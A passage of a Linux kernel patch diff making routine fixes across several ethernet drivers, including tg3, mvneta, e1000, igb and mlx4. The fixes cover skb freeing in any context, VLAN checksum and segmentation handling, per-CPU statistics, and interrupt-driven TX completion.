4942ddf9c8aed..518cc4b6c7ddc 100644 --- a/drivers/net/ethernet/broadcom/tg3.c +++ b/drivers/net/ethernet/broadcom/tg3.c @@ -6437,7 +6437,7 @@ static void tg3_tx(struct tg3_napi *tnapi) pkts_compl++; bytes_compl += skb->len; - dev_kfree_skb(skb); + dev_kfree_skb_any(skb); if (unlikely(tx_bug)) { tg3_tx_recover(tp); @@ -6767,8 +6767,9 @@ static int tg3_rx(struct tg3_napi *tnapi, int budget) skb->protocol = eth_type_trans(skb, tp->dev); if (len > (tp->dev->mtu + ETH_HLEN) && - skb->protocol != htons(ETH_P_8021Q)) { - dev_kfree_skb(skb); + skb->protocol != htons(ETH_P_8021Q) && + skb->protocol != htons(ETH_P_8021AD)) { + dev_kfree_skb_any(skb); goto drop_it_no_recycle; } @@ -7651,7 +7652,7 @@ static int tigon3_dma_hwbug_workaround(struct tg3_napi *tnapi, PCI_DMA_TODEVICE); /* Make sure the mapping succeeded */ if (pci_dma_mapping_error(tp->pdev, new_addr)) { - dev_kfree_skb(new_skb); + dev_kfree_skb_any(new_skb); ret = -1; } else { u32 save_entry = *entry; @@ -7666,13 +7667,13 @@ static int tigon3_dma_hwbug_workaround(struct tg3_napi *tnapi, new_skb->len, base_flags, mss, vlan)) { tg3_tx_skb_unmap(tnapi, save_entry, -1); - dev_kfree_skb(new_skb); + dev_kfree_skb_any(new_skb); ret = -1; } } } - dev_kfree_skb(skb); + dev_kfree_skb_any(skb); *pskb = new_skb; return ret; } @@ -7715,7 +7716,7 @@ static int tg3_tso_bug(struct tg3 *tp, struct sk_buff *skb) } while (segs); tg3_tso_bug_end: - dev_kfree_skb(skb); + dev_kfree_skb_any(skb); return NETDEV_TX_OK; } @@ -7759,8 +7760,6 @@ static netdev_tx_t tg3_start_xmit(struct sk_buff *skb, struct net_device *dev) entry = tnapi->tx_prod; base_flags = 0; - if (skb->ip_summed == CHECKSUM_PARTIAL) - base_flags |= TXD_FLAG_TCPUDP_CSUM; mss = skb_shinfo(skb)->gso_size; if (mss) { @@ -7776,6 +7775,13 @@ static netdev_tx_t tg3_start_xmit(struct sk_buff *skb, struct net_device *dev) hdr_len = skb_transport_offset(skb) + tcp_hdrlen(skb) - ETH_HLEN; + /* HW/FW can not correctly segment packets that have been + * vlan encapsulated. + */ + if (skb->protocol == htons(ETH_P_8021Q) || + skb->protocol == htons(ETH_P_8021AD)) + return tg3_tso_bug(tp, skb); + if (!skb_is_gso_v6(skb)) { iph->check = 0; iph->tot_len = htons(mss + hdr_len); @@ -7822,6 +7828,17 @@ static netdev_tx_t tg3_start_xmit(struct sk_buff *skb, struct net_device *dev) base_flags |= tsflags << 12; } } + } else if (skb->ip_summed == CHECKSUM_PARTIAL) { + /* HW/FW can not correctly checksum packets that have been + * vlan encapsulated. + */ + if (skb->protocol == htons(ETH_P_8021Q) || + skb->protocol == htons(ETH_P_8021AD)) { + if (skb_checksum_help(skb)) + goto drop; + } else { + base_flags |= TXD_FLAG_TCPUDP_CSUM; + } } if (tg3_flag(tp, USE_JUMBO_BDFLAG) && @@ -7937,7 +7954,7 @@ static netdev_tx_t tg3_start_xmit(struct sk_buff *skb, struct net_device *dev) tg3_tx_skb_unmap(tnapi, tnapi->tx_prod, --i); tnapi->tx_buffers[tnapi->tx_prod].skb = NULL; drop: - dev_kfree_skb(skb); + dev_kfree_skb_any(skb); drop_nofree: tp->tx_dropped++; return NETDEV_TX_OK; @@ -8375,7 +8392,8 @@ static int tg3_init_rings(struct tg3 *tp) if (tnapi->rx_rcb) memset(tnapi->rx_rcb, 0, TG3_RX_RCB_RING_BYTES(tp)); - if (tg3_rx_prodring_alloc(tp, &tnapi->prodring)) { + if (tnapi->prodring.rx_std && + tg3_rx_prodring_alloc(tp, &tnapi->prodring)) { tg3_free_rings(tp); return -ENOMEM; } @@ -10500,7 +10518,7 @@ static ssize_t tg3_show_temp(struct device *dev, tg3_ape_scratchpad_read(tp, &temperature, attr->index, sizeof(temperature)); spin_unlock_bh(&tp->lock); - return sprintf(buf, "%u\n", temperature); + return sprintf(buf, "%u\n", temperature * 1000); } @@ -17371,23 +17389,6 @@ static int tg3_init_one(struct pci_dev *pdev, goto err_out_apeunmap; } - /* - * Reset chip in case UNDI or EFI driver did not shutdown - * DMA self test will enable WDMAC and we'll see (spurious) - * pending DMA on the PCI bus at that point. - */ - if ((tr32(HOSTCC_MODE) & HOSTCC_MODE_ENABLE) || - (tr32(WDMAC_MODE) & WDMAC_MODE_ENABLE)) { - tw32(MEMARB_MODE, MEMARB_MODE_ENABLE); - tg3_halt(tp, RESET_KIND_SHUTDOWN, 1); - } - - err = tg3_test_dma(tp); - if (err) { - dev_err(&pdev->dev, "DMA engine test failed, aborting\n"); - goto err_out_apeunmap; - } - intmbx = MAILBOX_INTERRUPT_0 + TG3_64BIT_REG_LOW; rcvmbx = MAILBOX_RCVRET_CON_IDX_0 + TG3_64BIT_REG_LOW; sndmbx = MAILBOX_SNDHOST_PROD_IDX_0 + TG3_64BIT_REG_LOW; @@ -17432,6 +17433,23 @@ static int tg3_init_one(struct pci_dev *pdev, sndmbx += 0xc; } + /* + * Reset chip in case UNDI or EFI driver did not shutdown + * DMA self test will enable WDMAC and we'll see (spurious) + * pending DMA on the PCI bus at that point. + */ + if ((tr32(HOSTCC_MODE) & HOSTCC_MODE_ENABLE) || + (tr32(WDMAC_MODE) & WDMAC_MODE_ENABLE)) { + tw32(MEMARB_MODE, MEMARB_MODE_ENABLE); + tg3_halt(tp, RESET_KIND_SHUTDOWN, 1); + } + + err = tg3_test_dma(tp); + if (err) { + dev_err(&pdev->dev, "DMA engine test failed, aborting\n"); + goto err_out_apeunmap; + } + tg3_init_coal(tp); pci_set_drvdata(pdev, dev); diff --git a/drivers/net/ethernet/cisco/enic/enic_main.c b/drivers/net/ethernet/cisco/enic/enic_main.c index 635f55992d7e8..8cc0eaa9d6f13 100644 --- a/drivers/net/ethernet/cisco/enic/enic_main.c +++ b/drivers/net/ethernet/cisco/enic/enic_main.c @@ -1294,10 +1294,14 @@ static void enic_rq_indicate_buf(struct vnic_rq *rq, skb_put(skb, bytes_written); skb->protocol = eth_type_trans(skb, netdev); - if ((netdev->features & NETIF_F_RXCSUM) && !csum_not_calc) { - skb->csum = htons(checksum); - skb->ip_summed = CHECKSUM_COMPLETE; - } + /* Hardware does not provide whole packet checksum. It only + * provides pseudo checksum. Since hw validates the packet + * checksum but not provide us the checksum value. use + * CHECSUM_UNNECESSARY. + */ + if ((netdev->features & NETIF_F_RXCSUM) && tcp_udp_csum_ok && + ipv4_csum_ok) + skb->ip_summed = CHECKSUM_UNNECESSARY; if (vlan_stripped) __vlan_hwaccel_put_tag(skb, htons(ETH_P_8021Q), vlan_tci); diff --git a/drivers/net/ethernet/emulex/benet/be_main.c b/drivers/net/ethernet/emulex/benet/be_main.c index 7371626c56a14..88e85cb88342c 100644 --- a/drivers/net/ethernet/emulex/benet/be_main.c +++ b/drivers/net/ethernet/emulex/benet/be_main.c @@ -1767,7 +1767,7 @@ static u16 be_tx_compl_process(struct be_adapter *adapter, queue_tail_inc(txq); } while (cur_index != last_index); - kfree_skb(sent_skb); + dev_kfree_skb_any(sent_skb); return num_wrbs; } @@ -2663,7 +2663,7 @@ static int be_open(struct net_device *netdev) for_all_evt_queues(adapter, eqo, i) { napi_enable(&eqo->napi); - be_eq_notify(adapter, eqo->q.id, true, false, 0); + be_eq_notify(adapter, eqo->q.id, true, true, 0); } adapter->flags |= BE_FLAGS_NAPI_ENABLED; diff --git a/drivers/net/ethernet/ibm/ibmveth.c b/drivers/net/ethernet/ibm/ibmveth.c index 70fd55968844d..040ecf2027cd5 100644 --- a/drivers/net/ethernet/ibm/ibmveth.c +++ b/drivers/net/ethernet/ibm/ibmveth.c @@ -293,6 +293,18 @@ static void ibmveth_replenish_buffer_pool(struct ibmveth_adapter *adapter, atomic_add(buffers_added, &(pool->available)); } +/* + * The final 8 bytes of the buffer list is a counter of frames dropped + * because there was not a buffer in the buffer list capable of holding + * the frame. + */ +static void ibmveth_update_rx_no_buffer(struct ibmveth_adapter *adapter) +{ + __be64 *p = adapter->buffer_list_addr + 4096 - 8; + + adapter->rx_no_buffer = be64_to_cpup(p); +} + /* replenish routine */ static void ibmveth_replenish_task(struct ibmveth_adapter *adapter) { @@ -308,8 +320,7 @@ static void ibmveth_replenish_task(struct ibmveth_adapter *adapter) ibmveth_replenish_buffer_pool(adapter, pool); } - adapter->rx_no_buffer = *(u64 *)(((char*)adapter->buffer_list_addr) + - 4096 - 8); + ibmveth_update_rx_no_buffer(adapter); } /* empty and free ana buffer pool - also used to do cleanup in error paths */ @@ -689,8 +700,7 @@ static int ibmveth_close(struct net_device *netdev) free_irq(netdev->irq, netdev); - adapter->rx_no_buffer = *(u64 *)(((char *)adapter->buffer_list_addr) + - 4096 - 8); + ibmveth_update_rx_no_buffer(adapter); ibmveth_cleanup(adapter); diff --git a/drivers/net/ethernet/intel/e1000/e1000_main.c b/drivers/net/ethernet/intel/e1000/e1000_main.c index 59ad007dd5aa0..a978fc82ceb58 100644 --- a/drivers/net/ethernet/intel/e1000/e1000_main.c +++ b/drivers/net/ethernet/intel/e1000/e1000_main.c @@ -144,6 +144,11 @@ static bool e1000_clean_rx_irq(struct e1000_adapter *adapter, static bool e1000_clean_jumbo_rx_irq(struct e1000_adapter *adapter, struct e1000_rx_ring *rx_ring, int *work_done, int work_to_do); +static void e1000_alloc_dummy_rx_buffers(struct e1000_adapter *adapter, + struct e1000_rx_ring *rx_ring, + int cleaned_count) +{ +} static void e1000_alloc_rx_buffers(struct e1000_adapter *adapter, struct e1000_rx_ring *rx_ring, int cleaned_count); @@ -3555,8 +3560,11 @@ static int e1000_change_mtu(struct net_device *netdev, int new_mtu) msleep(1); /* e1000_down has a dependency on max_frame_size */ hw->max_frame_size = max_frame; - if (netif_running(netdev)) + if (netif_running(netdev)) { + /* prevent buffers from being reallocated */ + adapter->alloc_rx_buf = e1000_alloc_dummy_rx_buffers; e1000_down(adapter); + } /* NOTE: netdev_alloc_skb reserves 16 bytes, and typically NET_IP_ALIGN * means we reserve 2 more, this pushes us to allocate from the next diff --git a/drivers/net/ethernet/intel/igb/igb_main.c b/drivers/net/ethernet/intel/igb/igb_main.c index 64cbe0dfe0434..3f342fbe9ccfe 100644 --- a/drivers/net/ethernet/intel/igb/igb_main.c +++ b/drivers/net/ethernet/intel/igb/igb_main.c @@ -1584,6 +1584,8 @@ void igb_power_up_link(struct igb_adapter *adapter) igb_power_up_phy_copper(&adapter->hw); else igb_power_up_serdes_link_82575(&adapter->hw); + + igb_setup_link(&adapter->hw); } /** @@ -7229,6 +7231,8 @@ static int igb_sriov_reinit(struct pci_dev *dev) if (netif_running(netdev)) igb_close(netdev); + else + igb_reset(adapter); igb_clear_interrupt_scheme(adapter); diff --git a/drivers/net/ethernet/intel/ixgb/ixgb_main.c b/drivers/net/ethernet/intel/ixgb/ixgb_main.c index fce3e92f9d11c..c5a9dcc01ca8a 100644 --- a/drivers/net/ethernet/intel/ixgb/ixgb_main.c +++ b/drivers/net/ethernet/intel/ixgb/ixgb_main.c @@ -1527,12 +1527,12 @@ ixgb_xmit_frame(struct sk_buff *skb, struct net_device *netdev) int tso; if (test_bit(__IXGB_DOWN, &adapter->flags)) { - dev_kfree_skb(skb); + dev_kfree_skb_any(skb); return NETDEV_TX_OK; } if (skb->len <= 0) { - dev_kfree_skb(skb); + dev_kfree_skb_any(skb); return NETDEV_TX_OK; } @@ -1549,7 +1549,7 @@ ixgb_xmit_frame(struct sk_buff *skb, struct net_device *netdev) tso = ixgb_tso(adapter, skb); if (tso < 0) { - dev_kfree_skb(skb); + dev_kfree_skb_any(skb); return NETDEV_TX_OK; } diff --git a/drivers/net/ethernet/jme.c b/drivers/net/ethernet/jme.c index 070a6f1a05774..2f4cbcae9c7c2 100644 --- a/drivers/net/ethernet/jme.c +++ b/drivers/net/ethernet/jme.c @@ -3290,13 +3290,14 @@ jme_resume(struct device *dev) jme_reset_phy_processor(jme); jme_phy_calibration(jme); jme_phy_setEA(jme); - jme_start_irq(jme); netif_device_attach(netdev); atomic_inc(&jme->link_changing); jme_reset_link(jme); + jme_start_irq(jme); + return 0; } diff --git a/drivers/net/ethernet/marvell/mvneta.c b/drivers/net/ethernet/marvell/mvneta.c index a602aeeb3acb0..df3af299a7d2d 100644 --- a/drivers/net/ethernet/marvell/mvneta.c +++ b/drivers/net/ethernet/marvell/mvneta.c @@ -99,16 +99,56 @@ #define MVNETA_CPU_RXQ_ACCESS_ALL_MASK 0x000000ff #define MVNETA_CPU_TXQ_ACCESS_ALL_MASK 0x0000ff00 #define MVNETA_RXQ_TIME_COAL_REG(q) (0x2580 + ((q) << 2)) + +/* Exception Interrupt Port/Queue Cause register */ + #define MVNETA_INTR_NEW_CAUSE 0x25a0 -#define MVNETA_RX_INTR_MASK(nr_rxqs) (((1 << nr_rxqs) - 1) << 8) #define MVNETA_INTR_NEW_MASK 0x25a4 + +/* bits 0..7 = TXQ SENT, one bit per queue. + * bits 8..15 = RXQ OCCUP, one bit per queue. + * bits 16..23 = RXQ FREE, one bit per queue. + * bit 29 = OLD_REG_SUM, see old reg ? + * bit 30 = TX_ERR_SUM, one bit for 4 ports + * bit 31 = MISC_SUM, one bit for 4 ports + */ +#define MVNETA_TX_INTR_MASK(nr_txqs) (((1 << nr_txqs) - 1) << 0) +#define MVNETA_TX_INTR_MASK_ALL (0xff << 0) +#define MVNETA_RX_INTR_MASK(nr_rxqs) (((1 << nr_rxqs) - 1) << 8) +#define MVNETA_RX_INTR_MASK_ALL (0xff << 8) + #define MVNETA_INTR_OLD_CAUSE 0x25a8 #define MVNETA_INTR_OLD_MASK 0x25ac + +/* Data Path Port/Queue Cause Register */ #define MVNETA_INTR_MISC_CAUSE 0x25b0 #define MVNETA_INTR_MISC_MASK 0x25b4 + +#define MVNETA_CAUSE_PHY_STATUS_CHANGE BIT(0) +#define MVNETA_CAUSE_LINK_CHANGE BIT(1) +#define MVNETA_CAUSE_PTP BIT(4) + +#define MVNETA_CAUSE_INTERNAL_ADDR_ERR BIT(7) +#define MVNETA_CAUSE_RX_OVERRUN BIT(8) +#define MVNETA_CAUSE_RX_CRC_ERROR BIT(9) +#define MVNETA_CAUSE_RX_LARGE_PKT BIT(10) +#define MVNETA_CAUSE_TX_UNDERUN BIT(11) +#define MVNETA_CAUSE_PRBS_ERR BIT(12) +#define MVNETA_CAUSE_PSC_SYNC_CHANGE BIT(13) +#define MVNETA_CAUSE_SERDES_SYNC_ERR BIT(14) + +#define MVNETA_CAUSE_BMU_ALLOC_ERR_SHIFT 16 +#define MVNETA_CAUSE_BMU_ALLOC_ERR_ALL_MASK (0xF << MVNETA_CAUSE_BMU_ALLOC_ERR_SHIFT) +#define MVNETA_CAUSE_BMU_ALLOC_ERR_MASK(pool) (1 << (MVNETA_CAUSE_BMU_ALLOC_ERR_SHIFT + (pool))) + +#define MVNETA_CAUSE_TXQ_ERROR_SHIFT 24 +#define MVNETA_CAUSE_TXQ_ERROR_ALL_MASK (0xFF << MVNETA_CAUSE_TXQ_ERROR_SHIFT) +#define MVNETA_CAUSE_TXQ_ERROR_MASK(q) (1 << (MVNETA_CAUSE_TXQ_ERROR_SHIFT + (q))) + #define MVNETA_INTR_ENABLE 0x25b8 #define MVNETA_TXQ_INTR_ENABLE_ALL_MASK 0x0000ff00 -#define MVNETA_RXQ_INTR_ENABLE_ALL_MASK 0xff000000 +#define MVNETA_RXQ_INTR_ENABLE_ALL_MASK 0xff000000 // note: neta says it's 0x000000FF + #define MVNETA_RXQ_CMD 0x2680 #define MVNETA_RXQ_DISABLE_SHIFT 8 #define MVNETA_RXQ_ENABLE_MASK 0x000000ff @@ -170,13 +210,10 @@ /* Various constants */ /* Coalescing */ -#define MVNETA_TXDONE_COAL_PKTS 16 +#define MVNETA_TXDONE_COAL_PKTS 0 /* interrupt per packet */ #define MVNETA_RX_COAL_PKTS 32 #define MVNETA_RX_COAL_USEC 100 -/* Timer */ -#define MVNETA_TX_DONE_TIMER_PERIOD 10 - /* Napi polling weight */ #define MVNETA_RX_POLL_WEIGHT 64 @@ -219,10 +256,12 @@ #define MVNETA_RX_BUF_SIZE(pkt_size) ((pkt_size) + NET_SKB_PAD) -struct mvneta_stats { +struct mvneta_pcpu_stats { struct u64_stats_sync syncp; - u64 packets; - u64 bytes; + u64 rx_packets; + u64 rx_bytes; + u64 tx_packets; + u64 tx_bytes; }; struct mvneta_port { @@ -230,16 +269,11 @@ struct mvneta_port { void __iomem *base; struct mvneta_rx_queue *rxqs; struct mvneta_tx_queue *txqs; - struct timer_list tx_done_timer; struct net_device *dev; u32 cause_rx_tx; struct napi_struct napi; - /* Flags */ - unsigned long flags; -#define MVNETA_F_TX_DONE_TIMER_BIT 0 - /* Napi weight */ int weight; @@ -248,8 +282,7 @@ struct mvneta_port { u8 mcast_count[256]; u16 tx_ring_size; u16 rx_ring_size; - struct mvneta_stats tx_stats; - struct mvneta_stats rx_stats; + struct mvneta_pcpu_stats *stats; struct mii_bus *mii_bus; struct phy_device *phy_dev; @@ -428,21 +461,29 @@ struct rtnl_link_stats64 *mvneta_get_stats64(struct net_device *dev, { struct mvneta_port *pp = netdev_priv(dev); unsigned int start; + int cpu; - memset(stats, 0, sizeof(struct rtnl_link_stats64)); - - do { - start = u64_stats_fetch_begin_bh(&pp->rx_stats.syncp); - stats->rx_packets = pp->rx_stats.packets; - stats->rx_bytes = pp->rx_stats.bytes; - } while (u64_stats_fetch_retry_bh(&pp->rx_stats.syncp, start)); + for_each_possible_cpu(cpu) { + struct mvneta_pcpu_stats *cpu_stats; + u64 rx_packets; + u64 rx_bytes; + u64 tx_packets; + u64 tx_bytes; + cpu_stats = per_cpu_ptr(pp->stats, cpu); + do { + start = u64_stats_fetch_begin_bh(&cpu_stats->syncp); + rx_packets = cpu_stats->rx_packets; + rx_bytes = cpu_stats->rx_bytes; + tx_packets = cpu_stats->tx_packets; + tx_bytes = cpu_stats->tx_bytes; + } while (u64_stats_fetch_retry_bh(&cpu_stats->syncp, start)); - do { - start = u64_stats_fetch_begin_bh(&pp->tx_stats.syncp); - stats->tx_packets = pp->tx_stats.packets; - stats->tx_bytes = pp->tx_stats.bytes; - } while (u64_stats_fetch_retry_bh(&pp->tx_stats.syncp, start)); + stats->rx_packets += rx_packets; + stats->rx_bytes += rx_bytes; + stats->tx_packets += tx_packets; + stats->tx_bytes += tx_bytes; + } stats->rx_errors = dev->stats.rx_errors; stats->rx_dropped = dev->stats.rx_dropped; @@ -869,7 +910,7 @@ static void mvneta_defaults_set(struct mvneta_port *pp) /* Set CPU queue access map - all CPUs have access to all RX * queues and to all TX queues */ - for (cpu = 0; cpu < CONFIG_NR_CPUS; cpu++) + for_each_present_cpu(cpu) mvreg_write(pp, MVNETA_CPU_MAP(cpu), (MVNETA_CPU_RXQ_ACCESS_ALL_MASK | MVNETA_CPU_TXQ_ACCESS_ALL_MASK)); @@ -1063,17 +1104,6 @@ static void mvneta_tx_done_pkts_coal_set(struct mvneta_port *pp, txq->done_pkts_coal = value; } -/* Trigger tx done timer in MVNETA_TX_DONE_TIMER_PERIOD msecs */ -static void mvneta_add_tx_done_timer(struct mvneta_port *pp) -{ - if (test_and_set_bit(MVNETA_F_TX_DONE_TIMER_BIT, &pp->flags) == 0) { - pp->tx_done_timer.expires = jiffies + - msecs_to_jiffies(MVNETA_TX_DONE_TIMER_PERIOD); - add_timer(&pp->tx_done_timer); - } -} - - /* Handle rx descriptor fill by setting buf_cookie and buf_phys_addr */ static void mvneta_rx_desc_fill(struct mvneta_rx_desc *rx_desc, u32 phys_addr, u32 cookie) @@ -1145,7 +1175,7 @@ static u32 mvneta_txq_desc_csum(int l3_offs, int l3_proto, command = l3_offs << MVNETA_TX_L3_OFF_SHIFT; command |= ip_hdr_len << MVNETA_TX_IP_HLEN_SHIFT; - if (l3_proto == swab16(ETH_P_IP)) + if (l3_proto == htons(ETH_P_IP)) command |= MVNETA_TXD_IP_CSUM; else command |= MVNETA_TX_L3_IP6; @@ -1354,6 +1384,8 @@ static int mvneta_rx(struct mvneta_port *pp, int rx_todo, { struct net_device *dev = pp->dev; int rx_done, rx_filled; + u32 rcvd_pkts = 0; + u32 rcvd_bytes = 0; /* Get number of received packets */ rx_done = mvneta_rxq_busy_desc_num_get(pp, rxq); @@ -1391,10 +1423,8 @@ static int mvneta_rx(struct mvneta_port *pp, int rx_todo, rx_bytes = rx_desc->data_size - (ETH_FCS_LEN + MVNETA_MH_SIZE); - u64_stats_update_begin(&pp->rx_stats.syncp); - pp->rx_stats.packets++; - pp->rx_stats.bytes += rx_bytes; - u64_stats_update_end(&pp->rx_stats.syncp); + rcvd_pkts++; + rcvd_bytes += rx_bytes; /* Linux processing */ skb_reserve(skb, MVNETA_MH_SIZE); @@ -1415,6 +1445,15 @@ static int mvneta_rx(struct mvneta_port *pp, int rx_todo, } } + if (rcvd_pkts) { + struct mvneta_pcpu_stats *stats = this_cpu_ptr(pp->stats); + + u64_stats_update_begin(&stats->syncp); + stats->rx_packets += rcvd_pkts; + stats->rx_bytes += rcvd_bytes; + u64_stats_update_end(&stats->syncp); + } + /* Update rxq management counters */ mvneta_rxq_desc_num_update(pp, rxq, rx_done, rx_filled); @@ -1545,25 +1584,17 @@ static int mvneta_tx(struct sk_buff *skb, struct net_device *dev) out: if (frags > 0) { - u64_stats_update_begin(&pp->tx_stats.syncp); - pp->tx_stats.packets++; - pp->tx_stats.bytes += skb->len; - u64_stats_update_end(&pp->tx_stats.syncp); + struct mvneta_pcpu_stats *stats = this_cpu_ptr(pp->stats); + u64_stats_update_begin(&stats->syncp); + stats->tx_packets++; + stats->tx_bytes += skb->len; + u64_stats_update_end(&stats->syncp); } else { dev->stats.tx_dropped++; dev_kfree_skb_any(skb); } - if (txq->count >= MVNETA_TXDONE_COAL_PKTS) - mvneta_txq_done(pp, txq); - - /* If after calling mvneta_txq_done, count equals - * frags, we need to set the timer - */ - if (txq->count == frags && frags > 0) - mvneta_add_tx_done_timer(pp); - return NETDEV_TX_OK; } @@ -1839,14 +1870,22 @@ static int mvneta_poll(struct napi_struct *napi, int budget) /* Read cause register */ cause_rx_tx = mvreg_read(pp, MVNETA_INTR_NEW_CAUSE) & - MVNETA_RX_INTR_MASK(rxq_number); + (MVNETA_RX_INTR_MASK(rxq_number) | MVNETA_TX_INTR_MASK(txq_number)); + + /* Release Tx descriptors */ + if (cause_rx_tx & MVNETA_TX_INTR_MASK_ALL) { + int tx_todo = 0; + + mvneta_tx_done_gbe(pp, (cause_rx_tx & MVNETA_TX_INTR_MASK_ALL), &tx_todo); + cause_rx_tx &= ~MVNETA_TX_INTR_MASK_ALL; + } /* For the case where the last mvneta_poll did not process all * RX packets */ cause_rx_tx |= pp->cause_rx_tx; if (rxq_number > 1) { - while ((cause_rx_tx != 0) && (budget > 0)) { + while ((cause_rx_tx & MVNETA_RX_INTR_MASK_ALL) && (budget > 0)) { int count; struct mvneta_rx_queue *rxq; /* get rx queue number from cause_rx_tx */ @@ -1878,7 +1917,7 @@ static int mvneta_poll(struct napi_struct *napi, int budget) napi_complete(napi); local_irq_save(flags); mvreg_write(pp, MVNETA_INTR_NEW_MASK, - MVNETA_RX_INTR_MASK(rxq_number)); + MVNETA_RX_INTR_MASK(rxq_number) | MVNETA_TX_INTR_MASK(txq_number)); local_irq_restore(flags); } @@ -1886,26 +1925,6 @@ static int mvneta_poll(struct napi_struct *napi, int budget) return rx_done; } -/* tx done timer callback */ -static void mvneta_tx_done_timer_callback(unsigned long data) -{ - struct net_device *dev = (struct net_device *)data; - struct mvneta_port *pp = netdev_priv(dev); - int tx_done = 0, tx_todo = 0; - - if (!netif_running(dev)) - return ; - - clear_bit(MVNETA_F_TX_DONE_TIMER_BIT, &pp->flags); - - tx_done = mvneta_tx_done_gbe(pp, - (((1 << txq_number) - 1) & - MVNETA_CAUSE_TXQ_SENT_DESC_ALL_MASK), - &tx_todo); - if (tx_todo > 0) - mvneta_add_tx_done_timer(pp); -} - /* Handle rxq fill: allocates rxq skbs; called when initializing a port */ static int mvneta_rxq_fill(struct mvneta_port *pp, struct mvneta_rx_queue *rxq, int num) @@ -2155,7 +2174,7 @@ static void mvneta_start_dev(struct mvneta_port *pp) /* Unmask interrupts */ mvreg_write(pp, MVNETA_INTR_NEW_MASK, - MVNETA_RX_INTR_MASK(rxq_number)); + MVNETA_RX_INTR_MASK(rxq_number) | MVNETA_TX_INTR_MASK(txq_number)); phy_start(pp->phy_dev); netif_tx_start_all_queues(pp->dev); @@ -2188,16 +2207,6 @@ static void mvneta_stop_dev(struct mvneta_port *pp) mvneta_rx_reset(pp); } -/* tx timeout callback - display a message and stop/start the network device */ -static void mvneta_tx_timeout(struct net_device *dev) -{ - struct mvneta_port *pp = netdev_priv(dev); - - netdev_info(dev, "tx timeout\n"); - mvneta_stop_dev(pp); - mvneta_start_dev(pp); -} - /* Return positive if MTU is valid */ static int mvneta_check_mtu_valid(struct net_device *dev, int mtu) { @@ -2306,7 +2315,7 @@ static void mvneta_adjust_link(struct net_device *ndev) if (phydev->speed == SPEED_1000) val |= MVNETA_GMAC_CONFIG_GMII_SPEED; - else + else if (phydev->speed == SPEED_100) val |= MVNETA_GMAC_CONFIG_MII_SPEED; mvreg_write(pp, MVNETA_GMAC_AUTONEG_CONFIG, val); @@ -2426,8 +2435,6 @@ static int mvneta_stop(struct net_device *dev) free_irq(dev->irq, pp); mvneta_cleanup_rxqs(pp); mvneta_cleanup_txqs(pp); - del_timer(&pp->tx_done_timer); - clear_bit(MVNETA_F_TX_DONE_TIMER_BIT, &pp->flags); return 0; } @@ -2548,7 +2555,6 @@ static const struct net_device_ops mvneta_netdev_ops = { .ndo_set_rx_mode = mvneta_set_rx_mode, .ndo_set_mac_address = mvneta_set_mac_addr, .ndo_change_mtu = mvneta_change_mtu, - .ndo_tx_timeout = mvneta_tx_timeout, .ndo_get_stats64 = mvneta_get_stats64, }; @@ -2729,10 +2735,6 @@ static int mvneta_probe(struct platform_device *pdev) pp = netdev_priv(dev); - pp->tx_done_timer.function = mvneta_tx_done_timer_callback; - init_timer(&pp->tx_done_timer); - clear_bit(MVNETA_F_TX_DONE_TIMER_BIT, &pp->flags); - pp->weight = MVNETA_RX_POLL_WEIGHT; pp->phy_node = phy_node; pp->phy_interface = phy_mode; @@ -2751,7 +2753,12 @@ static int mvneta_probe(struct platform_device *pdev) clk_prepare_enable(pp->clk); - pp->tx_done_timer.data = (unsigned long)dev; + /* Alloc per-cpu stats */ + pp->stats = alloc_percpu(struct mvneta_pcpu_stats); + if (!pp->stats) { + err = -ENOMEM; + goto err_clk; + } pp->tx_ring_size = MVNETA_MAX_TXD; pp->rx_ring_size = MVNETA_MAX_RXD; @@ -2762,7 +2769,7 @@ static int mvneta_probe(struct platform_device *pdev) err = mvneta_init(pp, phy_addr); if (err < 0) { dev_err(&pdev->dev, "can't init eth hal\n"); - goto err_clk; + goto err_free_stats; } mvneta_port_power_up(pp, phy_mode); @@ -2791,6 +2798,8 @@ static int mvneta_probe(struct platform_device *pdev) err_deinit: mvneta_deinit(pp); +err_free_stats: + free_percpu(pp->stats); err_clk: clk_disable_unprepare(pp->clk); err_unmap: @@ -2811,6 +2820,7 @@ static int mvneta_remove(struct platform_device *pdev) unregister_netdev(dev); mvneta_deinit(pp); clk_disable_unprepare(pp->clk); + free_percpu(pp->stats); iounmap(pp->base); irq_dispose_mapping(dev->irq); free_netdev(dev); diff --git a/drivers/net/ethernet/mellanox/mlx4/cmd.c b/drivers/net/ethernet/mellanox/mlx4/cmd.c index 28d706bd12ebb..d64050fcafc38 100644 --- a/drivers/net/ethernet/mellanox/mlx4/cmd.c +++ b/drivers/net/ethernet/mellanox/mlx4/cmd.c @@ -1836,7 +1836,7 @@ int mlx4_multi_func_init(struct mlx4_dev *dev) spin_lock_init(&s_state->lock); } - memset(&priv->mfunc.master.cmd_eqe, 0, dev->caps.eqe_size); + memset(&priv->mfunc.master.cmd_eqe, 0, sizeof(struct mlx4_eqe)); priv->mfunc.master.cmd_eqe.type = MLX4_EVENT_TYPE_CMD; INIT_WORK(&priv->mfunc.master.comm_work, mlx4_master_comm_channel); diff --git a/drivers/net/ethernet/mellanox/mlx4/en_tx.c b/drivers/net/ethernet/mellanox/mlx4/en_tx.c index 4e6877a032a84..bd8800c855252 100644 --- a/drivers/net/ethernet/mellanox/mlx4/en_tx.c +++ b/drivers/net/ethernet/mellanox/mlx4/en_tx.c @@ -191,6 +191,39 @@ void mlx4_en_deactivate_tx_ring(struct mlx4_en_priv *priv, MLX4_QP_STATE_RST, NULL, 0, 0, &ring->qp); } +static void mlx4_en_stamp_wqe(struct mlx4_en_priv *priv, + struct mlx4_en_tx_ring *ring, int index, + u8 owner) +{ + __be32 stamp = cpu_to_be32(STAMP_VAL | (!!owner << STAMP_SHIFT)); + struct mlx4_en_tx_desc *tx_desc = ring->buf + index * TXBB_SIZE; + struct mlx4_en_tx_info *tx_info = &ring->tx_info[index]; + void *end = ring->buf + ring->buf_size; + __be32 *ptr = (__be32 *)tx_desc; + int i; + + /* Optimize the common case when there are no wraparounds */ + if (likely((void *)tx_desc + tx_info->nr_txbb * TXBB_SIZE <= end)) { + /* Stamp the freed descriptor */ + for (i = 0; i < tx_info->nr_txbb * TXBB_SIZE; + i += STAMP_STRIDE) { + *ptr = stamp; + ptr += STAMP_DWORDS; + } + } else { + /* Stamp the freed descriptor */ + for (i = 0; i < tx_info->nr_txbb * TXBB_SIZE; + i += STAMP_STRIDE) { + *ptr = stamp; + ptr += STAMP_DWORDS; + if ((void *)ptr >= end) { + ptr = ring->buf; + stamp ^= 